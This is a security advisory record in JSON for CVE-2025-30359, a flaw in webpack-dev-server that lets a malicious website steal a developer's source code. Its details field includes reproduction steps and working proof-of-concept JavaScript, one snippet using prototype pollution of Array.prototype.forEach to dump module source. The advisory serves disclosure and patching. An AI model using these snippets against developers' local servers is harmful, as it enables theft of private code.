CVE-2025-30359: Webpack dev server Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4v9v-hfq4-rm2v",
  "modified" : "2025-10-03T13:25:38Z",
  "published" : "2025-06-04T21:09:13Z",
  "aliases" : [ "CVE-2025-30359" ],
  "summary" : "webpack-dev-server users' source code may be stolen when they access a malicious web site",
  "details" : "### Summary\nSource code may be stolen when you access a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:8080/main.js\">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`\n5. You can see the source code output in the document and the devtools console.\n\n![image](https://github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)\n\nThe script in the POC site is:\n```js\nlet moduleList\nconst onHandlerSet = (handler) => {\n  console.log('h', handler)\n  moduleList = handler.require.m\n}\n\nconst originalArrayForEach = Array.prototype.forEach\nArray.prototype.forEach = function forEach(callback, thisArg) {\n  callback((handler) => {\n    onHandlerSet(handler)\n  })\n  originalArrayForEach.call(this, callback, thisArg)\n  Array.prototype.forEach = originalArrayForEach\n}\n\nconst script = document.createElement('script')\nscript.src = 'http://localhost:8080/main.js'\nscript.addEventListener('load', () => {\n  console.log(moduleList)\n  for (const key in moduleList) {\n    const p = document.createElement('p')\n    const title = document.createElement('strong')\n    title.textContent = key\n    const code = document.createElement('code')\n    code.textContent = moduleList[key].toString()\n    p.append(title, ':', document.createElement('br'), code)\n    document.body.appendChild(p)\n  }\n})\ndocument.head.appendChild(script)\n```\n\nThis script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383).\n```js\n    // The require function\n    function __webpack_require__(moduleId) {\n        // Check if module is in cache\n        var cachedModule = __webpack_module_cache__[moduleId];\n        if (cachedModule !== undefined) {\n            return cachedModule.exports;\n        }\n        // Create a new module (and put it into the cache)\n        var module = __webpack_module_cache__[moduleId] = {\n            // no module.id needed\n            // no module.loaded needed\n            exports: {}\n        };\n        // Execute the module function\n        var execOptions = {\n            id: moduleId,\n            module: module,\n            factory: __webpack_modules__[moduleId],\n            require: __webpack_require__\n        };\n        __webpack_require__.i.forEach(function(handler) {\n            handler(execOptions);\n        });\n        module = execOptions.module;\n        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);\n        // Return the exports of the module\n        return module.exports;\n    }\n```\nEspecially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`.\nIt uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference.\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.\n\n<details>\n<summary>Old content</summary>\n\n### Summary\nSource code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site.\n\n### Details\nWhen `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`).\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:8080/main.js\">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\nI pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`\n5. Open the devtools console.\n6. You can see the content of `src/index.js` and other scripts loaded.\n\n![image](https://github.com/user-attachments/assets/87801607-57bb-4656-bc0d-2bfbe207f436)\n\nThe script in the POC site is:\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:8080/main.js'\nscript.addEventListener('load', () => {\n    for (const module in window.__webpack_modules__) {\n        console.log(`${module}:`, window.__webpack_modules__[module].toString())\n    }\n})\ndocument.head.appendChild(script)\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script.\n\n</details>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "webpack-dev-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-30359"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/webpack/webpack-dev-server"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-749" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-06-04T21:09:13Z",
    "nvd_published_at" : "2025-06-03T18:15:25Z"
  }
}